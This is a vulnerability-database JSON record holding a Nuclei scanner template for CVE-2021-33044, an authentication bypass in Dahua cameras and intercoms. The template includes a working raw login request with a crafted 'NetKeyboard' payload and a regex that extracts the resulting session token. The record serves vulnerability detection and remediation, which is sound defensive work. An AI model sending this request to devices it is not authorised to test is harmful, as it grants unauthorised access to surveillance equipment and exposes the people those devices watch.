{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-33044/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-33044/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-33044/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-33044/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-33044/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-33044"},"sightings":{"href":"/api/v1/sightings/cve-2021-33044"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-33044.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-33044\n\ninfo:\n  name: Dahua IPC/VTH/VTO - Authentication Bypass\n  author: gy741\n  severity: critical\n  description: Some Dahua products contain an authentication bypass during the login process. Attackers can bypass device identity authentication by constructing malicious data packets.\n  impact: |\n    An attacker can gain unauthorized access to the device, potentially compromising the security and privacy of the system.\n  remediation: |\n    Apply the latest firmware update provided by Dahua to fix the authentication bypass vulnerability.\n  reference:\n    - https://github.com/dorkerdevil/CVE-2021-33044\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-33044\n    - https://seclists.org/fulldisclosure/2021/Oct/13\n    - https://www.dahuasecurity.com/support/cybersecurity/details/957\n    - https://github.com/bp2008/DahuaLoginBypass\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-33044\n    cwe-id: CWE-287\n    epss-score: 0.99871\n    epss-percentile: 0.99963\n    cpe: cpe:2.3:o:dahuasecurity:ipc-hum7xxx_firmware:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: dahuasecurity\n    product: ipc-hum7xxx_firmware\n  tags: cve2021,cve,dahua,auth-bypass,seclists,dahuasecurity,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /RPC2_Login HTTP/1.1\n        Host: {{Hostname}}\n        Accept: application/json, text/javascript, */*; q=0.01\n        Connection: close\n        X-Requested-With: XMLHttpRequest\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n        Origin: {{BaseURL}}\n        Referer: {{BaseURL}}\n\n        {\"id\": 1, \"method\": \"global.login\", \"params\": {\"authorityType\": \"Default\", \"clientType\": \"NetKeyboard\", \"loginType\": \"Direct\", \"password\": \"Not Used\", \"passwordType\": \"Default\", \"userName\": \"admin\"}, \"session\": 0}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"result\":true,\"session\"'\n          - 'id'\n          - 'params'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        group: 1\n        regex:\n          - ',\"result\":true,\"session\":\"([a-z]+)\"\\}'\n        part: body\n# digest: 4b0a00483046022100c6ee39da9c8602ab5d249afe2c94a48c60e2e743d0b39a70946396d92a60d5a3022100b6f9b2c5116f6e60df9d183a422833ff8d1b067da182fcc9ca0a7b4ae83230c7:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-33044"}